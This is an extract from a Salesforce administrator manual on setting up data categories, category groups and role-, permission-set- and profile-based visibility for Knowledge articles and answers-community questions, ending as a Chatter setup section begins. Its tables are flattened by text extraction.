Easy Access to Questions As an answers community administrator, you can choose which data categories are visible on the Answers tab. Community members can tag a question with a category, which makes finding questions and answers easier for other members. Control of Article and Question Visibility As a knowledge base or answers community administrator, you can centrally control the visibility articles or questions by mapping roles, permission sets, or profiles to categories in the category groups. When an article or question is categorized, users with visibility can automatically see it. Article Filtering As a support agent, when articles are classified into logical categories, you can quickly and easily locate the article you need by filtering your organization's knowledge base. To ensure you see all relevant articles, filtering by category has expansive results that include a category's upward and downward relatives in the category hierarchy. For example, if your category hierarchy for products has the levels All Products > Computers > Laptops > Gaming Laptops and you are helping a customer with a laptop problem, filtering by Laptops returns articles classified with Laptops as well as articles classified with Computers, All Products, or Gaming Laptops. Effectively, you are made aware of useful related articles like a free shipping offer for all products or an upgrade offer for gaming laptops. (To prevent irrelevant results, category filtering doesn't return nonlineal relatives like siblings and cousins. Articles about Desktops, a sibling of Laptops, would not display.) Article and Question Navigation As an end user, you can navigate the categories on the Articles tab or Answers tab to find the information you need to solve your problem. Managing Category Groups for Articles and Questions If your organization has Salesforce Knowledge and an answers community, you can create separate category groups or use the same category group for articles and questions. Overview of Data Categories in Articles A category group is the container for a set of categories. In Salesforce Knowledge it corresponds to the name of the category drop-down menus. For example, if you use the Data Categories setup page (Your Name > Setup > Customize > Data Categories) to create and activate a category group called Products, a Products menu displays on the Article Management tab, the article edit page, the Articles tab in all channels, and the public knowledge base. As an illustration, the figure below shows a knowledge base administrator's view of an article about laptop deals; using the article edit page, the administrator has classified the article with Laptops in the Products category group, and USA in the Geography category group.

Figure 10: An Article About Laptop Deals on the Article Management Tab The next figure now illustrates an agent finding that same article published on the Articles tab; the agent has selected Laptops and USA respectively in the Products and Geography drop-down menus to retrieve an article that is classified with both Laptops and USA.

1626

Customize

What are Data Categories?

Figure 11: An Article About Laptop Deals on the Articles Tab When you add categories to a category group, you build a hierarchy that can contain up to five levels of depth and up to 100 categories total. Each category can have one parent, many siblings, and many children. A robust and well-organized category hierarchy helps users find the articles that are relevant to them quickly and easily. By default, all Salesforce Knowledge users have access to all categories; however, you can restrict category visibility by role, permission set, or profile. Overview of Data Categories in Answers Communities An answers community supports one category group, and community members can assign one category to each question. Even though you can create up to five hierarchy levels of categories in a category group, only the first level of categories is supported in your answers community. Child categories below the first level are not displayed in the community, and community members can't assign these child categories to questions. The categories within the group display on the Answers tab below the community name.

Figure 12: Answers tab displaying categories By default, all community members have access to all categories; however, you can specify category visibility. Implementation Tips Consider the following information when planning and implementing data categories for your organization: You can create up to three category groups with a maximum of five hierarchy levels in each group. Each category group can contain a total of 100 categories.

1627

Customize

What are Data Categories?

If you want to use data categories in an answers community, after creating your category group you must assign it to a community at Your Name > Setup > Customize > Answers > Data Category Assignments. You can only assign one category group to an answers community. Salesforce Knowledge supports multiple category groups. Even though you can create up to five hierarchy levels of categories in a category group, only the first level of categories is supported in your answers community. Child categories below the first level are not displayed in the community, and community members can't assign these child categories to questions. Salesforce Knowledge supports a hierarchy of data categories. Category groups are hidden from users until they are activated. Do not activate a category group until you have finished defining its categories and their access settings, including their visibility. When assigning categories to articles, you can choose up to eight categories in a category group. If an article has no categories, it displays only when you choose the No Filter option in the category drop-down menu. When searching for articles or article translations, selecting a category automatically includes the parent and children of that category and any grandparents, up to and including the top level. Sibling categories are not included. For example, if a category hierarchy has the levels All Products, Switches, Optical Networks, and Metro Core, selecting Optical Networks from the category drop-down menu returns articles assigned to any of the four categories. However, if the Switches category has a sibling category called Routers, selecting Optical Networks does not return articles classified within Routers. Category visibility settings may limit the specific articles you can find. Once visibility settings have been chosen for the categories: Users who are not assigned visibility can only see uncategorized articles and questions unless default category visibility has been set up. For role-based visibility, Customer Portal users and partner portal users inherit the category group visibility settings assigned to their account managers by default. You can change the category group visibility settings for each portal role. If you only have access to one category in a category group, the category drop-down menu for that category group does not display on the Articles tab.

Deleting a category: Permanently removes it. It cannot be restored. It never appears in the Recycle Bin. Permanently deletes its child categories. As applicable, removes the category and its children from the Answers tab, the Article Management tab, the Articles tab in all channels, and your company's public knowledge base. Removes associations between the category and articles or questions. You can reassign articles and questions to another category. Removes its mapping to visibility. Users lose their visibility to articles and answers associated with the deleted category.

Deleting a category group: Moves it to the Deleted Category Groups section, which is a recycle bin. You can view items in this section but not edit them. It holds category groups for 15 days before they are permanently erased and cannot be recovered. During the 15day holding period, you can either restore a category group, or permanently erase it immediately. Deletes all categories within that group. Removes all associations between the group's categories and articles or questions. Removes all associations between the group's categories and visibility. As applicable, removes the category drop-down menu from the Articles tab in all channels, the Article Management tab, and your company's public knowledge base.

You can translate the labels of categories and category groups using the Translation Workbench.

Best Practices Consider the following tips when using data categories:

1628

Customize

Managing Data Categories

To quickly manage data categories, use keyboard shortcuts. After creating or updating categories, set up category group visibility rules. Save your changes frequently. The more actions you perform before clicking Save, the longer it takes to save.

See Also:
Managing Data Categories Salesforce Knowledge Overview

Managing Data Categories


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view the Data Categories page: To create, edit, or delete data categories: View Data Categories Manage Data Categories

Administrators can create data categories for Salesforce Knowledge articles or questions in an answers community to help users classify and find articles or questions. Administrators can also use data categories to control access to articles and questions. For more information, see What are Data Categories? on page 1625 Click Your Name > Setup > Customize > Data Categories to view the Data Categories page where you can: Create a category group. A category group is the container for a set of categories. In Salesforce Knowledge it appears as the name of the category drop-down menu on the Article Management and Articles tabs. For example, if you create two category groups called Geography and Products, the Article Management and Articles tabs will have two category menus from which to pick specific categories: Geography and Products. In answers communities, the name of the category group does not display on the Answers tab. Add categories to a category group. After creating a category group, you can create a hierarchy of categories within that group. These are the values that users select when assigning a category to an article or question and when searching for articles or questions. Modify existing categories. You can change a category's name, update its other attributes, move it to another location in the hierarchy, or reorder categories alphabetically. Delete a category group. You can delete, restore, or permanently erase a category group. Delete a category. You can permanently remove any category. Translate categories. You can translate your categories with the languages you want to support. Hover over a category group to view its properties and see whether it is used in Salesforce Knowledge or an answers community.

1629

Customize

Creating and Modifying Category Groups

Note: By default, Salesforce Knowledge users and answers community members have access to all articles and questions associated with any category. If you want to restrict access to articles and questions, you can modify visibility settings for data categories.

See Also:
Creating and Modifying Category Groups Deleting and Undeleting Category Groups Adding Data Categories to Category Groups Modifying and Positioning Data Categories Deleting Data Categories Salesforce Knowledge Terminology

Creating and Modifying Category Groups


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view the Data Categories page: To create, edit, or delete data categories: View Data Categories Manage Data Categories

Category groups can be used by Salesforce Knowledge (articles) or answers communities (questions). In both cases, category groups are containers for individual data categories. For example, a Contracts category group might contain Fixed Price, Cost Reimbursement, and Indefinite Delivery categories. For more information, see What are Data Categories? on page 1625 To create or edit a category group: 1. Click Your Name > Setup > Customize > Data Categories. 2. To create a new category group, click Create New in the Category Groups section. By default, you can create a maximum of five category groups and three active category groups. Contact salesforce.com to request additional category groups. To edit an existing category group, hover your cursor over the category group name and then click the Edit Category Group icon ( ).

3. Specify the Group Name. This name appears as the title of the category drop-down menu on the Article Management and Articles tabs, and, if applicable, in the public knowledge base. The Group Name does not appear on the Answers tab. 4. Optionally, modify the Group Unique Name. This is a unique name used to identify the category group in the SOAP API. 5. Optionally, enter a description of the category group. 6. Click Save. You receive an email after the save process completes. You can now add categories to your category group. When you create a new category group, Salesforce automatically creates a top-level category in the group named All. Optionally, double-click All to rename it.

1630

Customize

Deleting and Undeleting Category Groups

Activating Category Groups When you add a new category group, it's deactivated by default and only displays on the administrative setup pages for Data Categories, Roles, Permission Sets, and Profiles. Keep your category groups deactivated to set up your category hierarchy and assign visibility. Until you manually activate a category group, it does not display in Salesforce Knowledge or your answers community In addition to activating the category group, for answers communities you must assign the category group to a community before the categories are visible on the Answers tab. To activate a category group so it is available to users, move the mouse pointer over the name of the category group and click the Activate Category Group icon ( ).

See Also:
Managing Data Categories Adding Data Categories to Category Groups Deleting and Undeleting Category Groups Managing Articles and Translations About Category Group Visibility

Deleting and Undeleting Category Groups


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view the Data Categories page: To create, edit, or delete data categories: View Data Categories Manage Data Categories

Warning: Deleting a category group deletes all of its categories and removes all associations between the categories and articles or questions. Read this entire topic carefully to understand the consequences of deleting category groups. To delete a category group: 1. Click Your Name > Setup > Customize > Data Categories. 2. Hover your cursor over the category group name. 3. Click the Delete Category Group icon ( ). 4. Select the checkbox in the confirmation dialog, then click OK. Consequences of Deleting Category Groups Deleting a category group: Moves it to the Deleted Category Groups section, which is a recycle bin. You can view items in this section but not edit them. It holds category groups for 15 days before they are permanently erased and cannot be recovered. During the 15day holding period, you can either restore a category group, or permanently erase it immediately. Deletes all categories within that group.

1631

Customize

Adding Data Categories to Category Groups

Removes all associations between the group's categories and articles or questions. Removes all associations between the group's categories and visibility. As applicable, removes the category drop-down menu from the Articles tab in all channels, the Article Management tab, and your company's public knowledge base.

Undeleting Category Groups To restore a deleted category group: 1. In the Removed Category Groups section, hover your cursor over the category group name. 2. Click the Undelete Category Group icon ( ).

The category group moves to the Category Groups section as an inactive category group, and associations with articles, questions, and visibility are restored.

See Also:
Creating and Modifying Category Groups Managing Data Categories

Adding Data Categories to Category Groups


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view the Data Categories page: To create, edit, or delete data categories: View Data Categories Manage Data Categories

Administrators can create data categories for Salesforce Knowledge articles or questions in an answers community to help users classify and find articles or questions. Administrators can also use data categories to control access to articles and questions. For more information, see What are Data Categories? on page 1625 By default, for each category group you can create up to 100 categories and organize those categories into up to five hierarchy levels. To request additional categories or hierarchy levels, contact salesforce.com. Note: Because only first-level data categories display on the Answers tab, when creating data categories for an answers community ensure that the categories you want visible have a sibling relationship and not a parent-child relationship. To add categories to a category group: 1. 2. 3. 4. 5. Click Your Name > Setup > Customize > Data Categories. Click the category group name. Click a category that is directly above where you want to add a category (a parent), or at the same level (a sibling). Click Actions, then select an action: Add Child Category or Add Sibling Category. Enter a category name.

1632

Customize

Modifying and Positioning Data Categories

If possible, Salesforce automatically reuses the name you entered as the Category Unique Name, a system field which the SOAP API requires. 6. Click Add. Alternatively, press Enter. 7. Click Save. Save your changes frequently. The more actions you perform before clicking Save, the longer it takes to save. Tip: By default, all Salesforce Knowledge users and answers community members can see all categories within an active category group. You can restrict category visibility after you have set up your data categories to ensure that users only access articles and questions that you want them to see.

See Also:
Managing Data Categories Modifying and Positioning Data Categories Deleting Data Categories Keyboard Shortcuts For Data Categories

Modifying and Positioning Data Categories


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view the Data Categories page: To create, edit, or delete data categories: View Data Categories Manage Data Categories

Warning: Modifying categories can result in long processing times, changes to the visibility of articles, changes to the categorization of articles and questions, and other significant consequences. Read this entire topic carefully before modifying categories. To modify the data categories in a category group and their positions in the hierarchy: 1. 2. 3. 4. 5. Click Your Name > Setup > Customize > Data Categories. Click a category group name. Optionally, click Expand All to display the full category hierarchy, or Collapse All to display only the top-level categories. Double-click a category to edit its name or its unique API name. Use drag-and-drop editing to reposition a category in the hierarchy. As you drag, a red icon indicates an invalid destination, while a green icon indicates a valid destination: Drag a category on top of another category to reposition it as a child of the destination category. For example, drag USA on top of North America to make USA one level below North America. After dragging, the category displays below the other child categories at that level. Drag a category to a line that borders another category to reposition it as a sibling of that category. For example, to position USA between Canada and Mexico, drag it to the line between Canada and Mexico.

1633

Customize

Modifying and Positioning Data Categories

6. Hover your cursor over a category name, then choose Order Child Categories Alphabetically from the Actions drop-down list to reorder that category's children in alphabetical order. This only affects the first level children, not grandchildren or deeper levels. 7. As you modify the category hierarchy, click Undo to cancel your last actions. Similarly, click Redo to step forward through your flow of performed actions. 8. Click Save. You will receive an email when the save process completes. Note: Save your changes frequently. The more actions you perform before clicking Save, the longer it takes to save.

The save process recalculates the following: The contents of the category drop-down menu. The articles and questions visible to each user. The articles and questions associated with categories. Important: Modify the category hierarchy when user activity is low. Because the save process involves potentially large and complex recalculations, it may take a long time to complete. During processing, users may experience performance issues when searching for articles or questions or using category drop-down lists. Example: How Changing the Hierarchy Affects Article Visibility Changing the category hierarchy potentially changes which articles users can see. When a category moves to a new parent category, users that have no visibility on the new parent category lose their visibility to the repositioned category. In the example shown in the following graphic, the category PDAs moves from the original parent category Computers to the new parent category Consumer Electronics.

Figure 13: Moving the category PDAs

1634

Customize

Modifying and Positioning Data Categories

To understand how this change affects which users can see articles classified with the PDAs category, see the following table. When my role, permission set, or profile is mapped to: Could I see PDA articles in their old location under Computers? Can I see PDA Why? articles in their new location under Consumer Electronics? Yes No Yes When your role, permission set, or profile is mapped to the top-level All products category, you can see everything in the category hierarchy. You don't have access to the branch of the category hierarchy where PDAs is now located. PDAs has moved to the branch of the category hierarchy where you have been granted access.

All products Yes Computers Consumer Electronics Yes No

Example: How Changing the Hierarchy Affects Article Classification Classifying an article with a parent category implicitly grants access to that category's children. You cannot explicitly apply both a parent category and one of its children to an article. From the article edit page, selecting a parent category grays out its child categoriesyou cannot select them in addition to the parent category. Salesforce respects this fact when you move a category to a new parent. It prevents explicitly adding a child category to an article when the new parent category is already present. In the example depicted above, the category PDAs moves from the original parent category Computers to the new parent category Consumer Electronics. As a result, articles' classifications may or may not change: Articles formerly classified with both Consumer Electronics and PDAs lose PDAs, because having Consumer Electronics now implies having PDAs. Articles formerly classified with only Consumer Electronics but not PDAs do not change. Access to PDAs is now implied. Articles formerly classified with only PDAs, but not Consumer Electronics, retain PDAs.

See Also:
What are Data Categories? Managing Data Categories Adding Data Categories to Category Groups Deleting Data Categories Keyboard Shortcuts For Data Categories

1635

Customize

Deleting Data Categories

Deleting Data Categories


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view the Data Categories page: To create, edit, or delete data categories: View Data Categories Manage Data Categories

Warning: Deleting categories can result in long processing times, changes to the visibility of articles and questions, changes to the categorization of articles and questions, and other significant consequences. Read this entire topic carefully before deleting categories. To delete a category: 1. 2. 3. 4. 5. 6. Click Your Name > Setup > Customize > Data Categories. Click a category group name. Click a category name. If necessary, click Expand All to display all categories in the category group. Press DELETE, or choose Delete Category from the Actions drop-down list. Click OK in the confirmation dialog box. Choose how you want to reclassify articles associated with the deleted category or the deleted category's children: Assign the deleted category's parent category. Assign a different category. You can select any other category in this category group. Note: The category you select cannot be deleted itself before you save your work.

Do not assign the articles a new category in this category group.

In all cases, the articles retain their categories from other category groups. 7. Click Save. Deleting a category: Permanently removes it. It cannot be restored. It never appears in the Recycle Bin. Permanently deletes its child categories. As applicable, removes the category and its children from the Answers tab, the Article Management tab, the Articles tab in all channels, and your company's public knowledge base. Removes associations between the category and articles or questions. You can reassign articles and questions to another category. Removes its mapping to visibility. Users lose their visibility to articles and answers associated with the deleted category.

1636

Customize

Keyboard Shortcuts For Data Categories

Important: Modify the category hierarchy when user activity is low. Because the save process involves potentially large and complex recalculations, it may take a long time to complete. During processing, users may experience performance issues when searching for articles or questions or using category drop-down lists.

See Also:
What are Data Categories? Managing Data Categories Adding Data Categories to Category Groups Modifying and Positioning Data Categories Keyboard Shortcuts For Data Categories

Keyboard Shortcuts For Data Categories


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view the Data Categories page: To create, edit, or delete data categories: View Data Categories Manage Data Categories

Use the following keyboard shortcuts to work quickly with data categories. Task Adding a category Action Add a sibling to the selected category Add a child to the selected category Close the Add Category field Save changes in the Add Category field Modifying a category Keyboard Shortcut ENTER ENTER+TAB ESC ENTER

Open the Edit Category field for the selected category SPACEBAR Close the Edit Category field. Save changes in the Edit Category field ESC ENTER TAB SHIFT+TAB DELETE UP ARROW

Demoting or promoting a category

Demote a category down one level, as a child of the sibling currently above it Promote a category up one level, as a sibling to its current parent

Deleting a category Navigating in the category hierarchy

Delete the selected category and its children Move the focus up in the category hierarchy

1637

Customize

About Category Group Visibility

Task

Action Move the focus down in the category hierarchy Collapse children in a parent category Expand children in a parent category

Keyboard Shortcut DOWN ARROW LEFT ARROW RIGHT ARROW CTRL+Z CTRL+Y CTRL+S

Canceling or repeating an action

Undo the last action Redo the last action

Saving the changes

Save the last changes in the category hierarchy

See Also:
Managing Data Categories Adding Data Categories to Category Groups Modifying and Positioning Data Categories Deleting Data Categories

About Category Group Visibility


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view role details: To edit and delete roles, permission sets, or profiles: To view users: To edit users: To view categories: View Setup and Configuration Manage Users View Setup and Configuration Manage Users View Data Categories

Data category visibility can be set with roles, permission sets, or profiles. Data category visibility determines the individual data categories, categorized articles, and categorized questions that a user can see. There are three types of visibility: All Categories: All categories are visible None: No categories are visible Custom: Selected categories are visible

With custom data category visibility, users can only see the data categories permitted by their role, permission sets, or profile.

1638

Customize

About Category Group Visibility

Enforcement of Visibility Settings To ensure that users obtain a wide range of relevant information, category group visibility is broadly interpreted. Setting a category as visible makes that category and its entire directly related family lineancestors, immediate parent, primary children, other descendantsvisible to users. For example, consider a Geography category group with continents such as Asia and Europe at the top level, various countries at the second level, and cities at the third level. If France is the only visible category selected, then you can see articles classified with Europe, France, and all French cities. In other words, you can see categories that have a direct vertical relationship to France but you cannot see articles classified at or below Asia and the other continents. Note: Only the first-level categories in the category group are visible on the Answers tab. In the Geography example, only the continent categories appear on the Answers tab; therefore, if France is the category selected as visible in category group visibility settings, community members can see questions classified with Europe. Category group visibility settings are enforced on the Answers tab, the Article Management tab, the Articles tab in all channels (internal app, partner portal, and Customer Portal), and the public knowledge base. In the following areas, users only see the categories that their visibility settings allow: On the Article Management tab, when creating or editing articles On the Article Management tab and the Articles tab, the category drop-down menu for finding articles On the Answers tab, the categories listed below the community name

Initial Visibility Settings If role, permission set, or profile data category visibility has not been set up, all users can see all data categories. Users who are not assigned data category visibility by a role, permission set, or profile, only see uncategorized articles and questions unless you make the associated categories visible by default. Role, permission set, and profile visibility settings restrict default visibility settings; in other words, even if a data category is visible by default, it cannot be seen by a user whose role restricts access to that data category. Inheritance of Role-Based Visibility Settings Child roles inherit their parent role's settings and are kept in sync with changes to the parent role. You can customize and reduce the child role's visibility, but you cannot increase it to be greater than that of the parent role. By default, Customer Portal users and partner portal users inherit the category group visibility settings assigned to their account managers. You can change the category group visibility settings for each portal role. Because high-volume portal users don't have roles, you must designate visibility settings by permission set or profile before these users can view categorized articles and questions. Visibility of Categorized Articles A user can see an article if he or she can see at least one category per category group on the article. For example, consider an article that is classified with California and Ohio in the Geography category group and Desktop in the Products category group: If you have visibility on Ohio and Desktop (but not California), you can see the article. If you don't have visibility on either California or Ohio but do have visibility on Desktop, you do not see the article. If you have visibility on California but not Desktop, you do not see the article.

Revoked Visibility Data category visibility can be revoked (set to None) for a particular category group. Users in the target role, permission set, or profile can only see articles and questions that aren't classified with a category in that category group. For example, if a user's role has revoked visibility in the Geography category group but visibility to the Products category group, he or she can only see articles that have no categories in Geography and are classified with a category in Products. Because an answers

1639

Customize

Editing Category Group Visibility

community can only be assigned to one category group, if the Geography category group was assigned to the community and a member's role visibility was revoked for that group, the member could only see uncategorized questions.

See Also:
What are Data Categories? Editing Category Group Visibility Modifying Default Data Category Visibility Examples of Category Group Visibility Settings for Articles Viewing Category Group Visibility on Roles

Editing Category Group Visibility


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view role details: To edit and delete roles, permission sets, or profiles: To view users: To edit users: To view categories: View Setup and Configuration Manage Users View Setup and Configuration Manage Users View Data Categories

Data category visibility can be set with roles, permission sets, or profiles. Data category visibility determines the individual data categories, categorized articles, and categorized questions that a user can see. There are three types of visibility: All Categories: All categories are visible None: No categories are visible Custom: Selected categories are visible

With custom data category visibility, users can only see the data categories permitted by their role, permission sets, or profile. To edit data category visibility settings: 1. Go to the data category visibility settings page: For roles: Your Name > Setup > Manage Users > Roles For a role on the Customer Portal or partner portal, click Your Name > Setup > Manage Users > Users. For permission sets: Your Name > Setup > Manage Users > Permission Sets For profiles:Your Name > Setup > Manage Users > Profiles

2. Open a data category group for edit. For roles, in the Category Group Visibility Settings related list, click Edit next to the category group you want to modify. For permission sets and profiles:

1640

Customize

Editing Category Group Visibility

a. Click on a permission set or profile name. b. Click Data Category Visibility. c. Click Edit next to the data category group you want to assign. 3. Select a visibility setting: Visibility Setting Description

All Categories Users can see all categories in the category group. This option is only available for the topmost role in the role hierarchy. When you create a new category group, its visibility is defaulted to All Categories. None Custom

Users cannot see any categories in the category group. Users see your custom selection of categories. For roles, you can choose from the categories that are visible to the parent role. If the parent role's visibility changes to be less than its child's visibility, the child role's category visibility is reset to its parent's category visibility. To select categories, double-click the category in the Available Categories box. Alternatively, select a category and then click Add. Selecting a category implicitly includes its child and parent categories as well. Categories that are grayed out are not available for selection because their parent has already been selected. Note: If you are customizing a role, permission set, or profile that was previously set to All Categories, you must first remove All from the Selected Categories box before you can select specific categories.

4. Click Save. Implementation Tips When you create a new category group, its visibility is defaulted to All Categories. When you grant visibility to a category, you also grant visibility to its child and parent categories. If you want to give access to all categories in a branch of the category hierarchy, select the top level category All Categories. Users who are not assigned to a categorys visibility by role, permission set, or profile can only see uncategorized articles and questions unless: The user has the View all Data permission A category group has been made visible to all users on the Your Name > Setup > Customize > Data Categories > Default Data Category Visibility page. For role-based visibility, Customer Portal users and partner portal users inherit the role assigned to their account managers by default. You can change the category group visibility settings for each portal role.

Best Practices Keep your category groups deactivated to set up your category hierarchy and assign visibility. Until you manually activate a category group, it does not display in Salesforce Knowledge or your answers community

1641

Customize

Modifying Default Data Category Visibility

For role-based visibility, always set up data category visibility in a top-down approach from the top of the role hierarchy down to the bottom. Give the highest roles the most visibility and give subordinate roles reduced visibility.

See Also:
Managing Data Categories About Category Group Visibility Examples of Category Group Visibility Settings for Articles

Modifying Default Data Category Visibility


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view categories: To manage data categories: To assign default category groups: View Data Categories Manage Data Categories Manage Data Categories

Data category visibility can be set with roles, permission sets, or profiles. Data category visibility determines the individual data categories, categorized articles, and categorized questions that a user can see. There are three types of visibility: All Categories: All categories are visible None: No categories are visible Custom: Selected categories are visible

With custom data category visibility, users can only see the data categories permitted by their role, permission sets, or profile. To modify the default visibility for data categories: 1. Click Your Name > Setup > Customize > Data Categories > Default Data Category Visibility. All active and inactive category groups are listed. 2. Pick a category group and click Edit. 3. Choose All Categories to make all the categories in the category group visible by default, None to make none of the categories visible by default, or Custom to make some of the categories visible by default. 4. If you chose Custom, move categories from the Available Categories area to the Selected Categories area as needed. Selecting a category implicitly includes its child and parent categories as well. Move categories from the Selected Categories area back to the Available Categories area to remove default visibility. For important information about how visibility settings are applied, see About Category Group Visibility on page 1638.

See Also:
What are Data Categories? About Category Group Visibility How Category Visibility Differs from Other Salesforce Models

1642

Customize

Viewing Category Group Visibility on Roles

Viewing Category Group Visibility on Roles


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view role details: To edit and delete roles, permission sets, or profiles: To view users: To edit users: To view categories: View Setup and Configuration Manage Users View Setup and Configuration Manage Users View Data Categories

Data category visibility can be set with roles, permission sets, or profiles. Data category visibility determines the individual data categories, categorized articles, and categorized questions that a user can see. There are three types of visibility: All Categories: All categories are visible None: No categories are visible Custom: Selected categories are visible

With custom data category visibility, users can only see the data categories permitted by their role, permission sets, or profile. To understand the settings and their impact, see About Category Group Visibility on page 1638. Viewing a Role's Category Group Visibility To view a role's category visibility setting, click Your Name > Setup > Manage Users > Roles, and select a role. To view the category visibility settings for a Customer Portal or partner portal role, click Your Name > Setup > Manage Users > Users and click the name of the role. The Category Group Visibility Settings related list summarizes which categories users in the role can see, according to category group. The following table explains the possible values in the Visibility column of the related list: Visibility
All Categories

Description Users can see all categories in the category group. This option is only available for the topmost role in the role hierarchy. When you create a new category group, its visibility is defaulted to All Categories. Users cannot see any categories in the category group. Users can view a selection of categories in the category group.

None Custom

In the Category Group Visibility Settings, you can: Click a category group to view its setting details.

1643

Customize

How Category Visibility Differs from Other Salesforce Models

Click Edit next to a category group to modify its visibility settings.

See Also:
Managing Data Categories About Category Group Visibility Editing Category Group Visibility Examples of Category Group Visibility Settings for Articles

How Category Visibility Differs from Other Salesforce Models


Available in: Enterprise, Unlimited, and Developer Editions

Data category visibility can be set with roles, permission sets, or profiles. Data category visibility determines the individual data categories, categorized articles, and categorized questions that a user can see. There are three types of visibility: All Categories: All categories are visible None: No categories are visible Custom: Selected categories are visible

With custom data category visibility, users can only see the data categories permitted by their role, permission sets, or profile. These settings are unique to articles and questions and differ from other Salesforce models: Exclusive to articles and questions Access to articles and questions are determined by category group visibility settings. Although they are standard objects, articles and questions do not have organization-wide defaults, sharing rules, manual record sharing, or object-level permissions like Create or Read. Access Category group visibility settings are based on the users role, permission set, or profile. Child roles cannot see more categories than their parent role. To change a user's visibility to categories and therefore categorized articles and questions, you must change the visibility settings for the user's role, permission set, or profile, or, if custom data category visibility is not assigned, make certain categories visible to all users. Broad interpretation of visibility settings To ensure that users obtain a wide range of relevant information, category group visibility is broadly interpreted. Setting a category as visible makes that category and its entire directly related family lineancestors, immediate parent, primary children, other descendantsvisible to users. For example, consider a Geography category group with continents such as Asia and Europe at the top level, various countries at the second level, and cities at the third level. If France is the only visible category selected, then you can see articles classified with Europe, France, and all French cities. In other words, you can see categories that have a direct vertical relationship to France but you cannot see articles classified at or below Asia and the other continents.

1644

Customize

Examples of Category Group Visibility Settings for Articles

Note: Only the first-level categories in the category group are visible on the Answers tab. In the Geography example, only the continent categories appear on the Answers tab; therefore, if France is the category selected as visible in category group visibility settings, community members can see questions classified with Europe.

See Also:
Managing Data Categories About Category Group Visibility Viewing Category Group Visibility on Roles Editing Category Group Visibility Examples of Category Group Visibility Settings for Articles

Examples of Category Group Visibility Settings for Articles


Available in: Enterprise, Unlimited, and Developer Editions

Data category visibility can be set with roles, permission sets, or profiles. Data category visibility determines the individual data categories, categorized articles, and categorized questions that a user can see. There are three types of visibility: All Categories: All categories are visible None: No categories are visible Custom: Selected categories are visible

With custom data category visibility, users can only see the data categories permitted by their role, permission sets, or profile. These examples are based on two sample category groups, Products and Geography: Note: Although category group visibility settings are available with answers communities (questions) and Salesforce Knowledge (articles), the examples below apply to articles only. Answers communities support one category group and one data category per question. Products Category Group All Products Consumer Electronics Cameras Audio Printers

Enterprise Electronics Routers Switches PEX

1645

Customize

Examples of Category Group Visibility Settings for Articles

Computers Laptops Desktops PDAs

Geography Category Group All Countries Americas USA Canada Brazil

Asia China Japan India

Europe France United Kingdom Poland

Example 1: A Role Hierarchy In this example, the Acme Electronics organization manufactures hardware and provides customer support for both consumers and enterprises. The Engineering department is organized by products. The Support department is organized geographically. Europe and the Americas are managed by corporate teams, but Asia is outsourced. Within the corporate and outsourced teams, there are subteams dedicated either to consumer or enterprise support. The table below shows the categories visible to each role in the Acme Electronics organization, and states whether the visibility settings are inherited from the parent role or custom. Acme Electronics Role Hierarchy Visible Geographic Categories CEO VP of Engineering All Countries All Countries Inherit from CEO Consumer Engineering Team All Countries Inherit from VP of Engineering Visible Product Categories All Products All Products Inherit from CEO Consumer Electronics Custom

1646

Customize

Examples of Category Group Visibility Settings for Articles

Acme Electronics Role Hierarchy Visible Geographic Categories Enterprise Engineering Team Computers Engineering Team VP of Support All Countries Inherit from VP of Engineering All Countries Inherit from VP of Engineering All Countries Inherit from CEO VP of Corporate Support Europe, America Custom Director of Corporate Consumer Support Director of Corporate Enterprise Support Outsourced Support Europe, America Inherit from VP of Corporate Support Europe, America Inherit from VP of Corporate Support Asia Custom Consumer Support Team Asia Inherit from Outsourced Support Enterprise Support Team Asia Inherit from Outsourced Support

Visible Product Categories Enterprise Electronics Custom Computers Custom All Products Inherit from CEO All Products Inherit from VP of Support Consumer Electronics, Computers Custom Enterprise Electronics, Computers Custom All Products Inherit from VP of Support Consumer Electronics, Computers Custom Enterprise Electronics, Computers Custom

Example 2: Article Visibility The table below is an in-depth example of how category visibility settings restrict what users see. This example has three sample users whose category settings are noted in parentheses. Table 3: Example: How Category Visibility Settings Restrict What Users See Categories When User 1's visibility isAll When User 2's visibilty When User 3's visibility is countries/Computers, the isAmerica/All products, the France/None, the category category is: category is: is: VISIBLE VISIBLE VISIBLE NOT VISIBLE VISIBLE VISIBLE VISIBLE VISIBLE NOT VISIBLE NOT VISIBLE NOT VISIBLE NOT VISIBLE NOT VISIBLE NOT VISIBLE VISIBLE

All countries/Laptop Canada/Computers USA/All products Europe/Switches Europe/No Categories

1647

Salesforce Chatter

Setting Up Chatter

User 1: The user must be granted visibility in each category that classifies the article, or each category that classifies the article must be visible by default. In this example, User 1 can see Europe, because Europe is the child of All Countries, but he cannot see Switches, because Switches does not belong to Computers. That's why User 1 cannot see articles classified with Europe/Switches. User 2: When a category is made visible to a user through custom settings or is made visible by default, its child and parent categories are implicitly included; therefore, User 2 can see articles categorized with All Countries because it is the parent category of America. He can also see Articles classified with USA because it is the child of America. User 3: If a user has no access to the whole category group, he can only see articles that are not categorized in that group. User 3 cannot see the articles categorized with All countries/Laptop because he has no visibility in the category group that includes Laptop, but he can see articles categorized with Europe/No categories.

See Also:
Managing Data Categories About Category Group Visibility Viewing Category Group Visibility on Roles Editing Category Group Visibility How Category Visibility Differs from Other Salesforce Models

SALESFORCE CHATTER
Setting Up Chatter
Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, Developer, and Database.com Editions The Chatter user interface, Chatter Invitations, and Chatter Recommendations are not available in Database.com.

User Permissions Needed To enable Chatter: Customize Application

To set up Chatter, an administrator must: 1. Enable and configure Chatter. 2. Turn on coworker invitations so that users can invite coworkers without Salesforce licenses to join Chatter for your organization. 3. Customize feed tracking for objects and fields tracked in Chatter feeds. 4. Optionally add the People, Profile, and Groups tabs to standard and custom apps so users can see these tabs in their apps. Note: The Chatter, People, Profile and Groups tabs are available by default in the Chatter app.

1648

Customize

Turning On Chatter

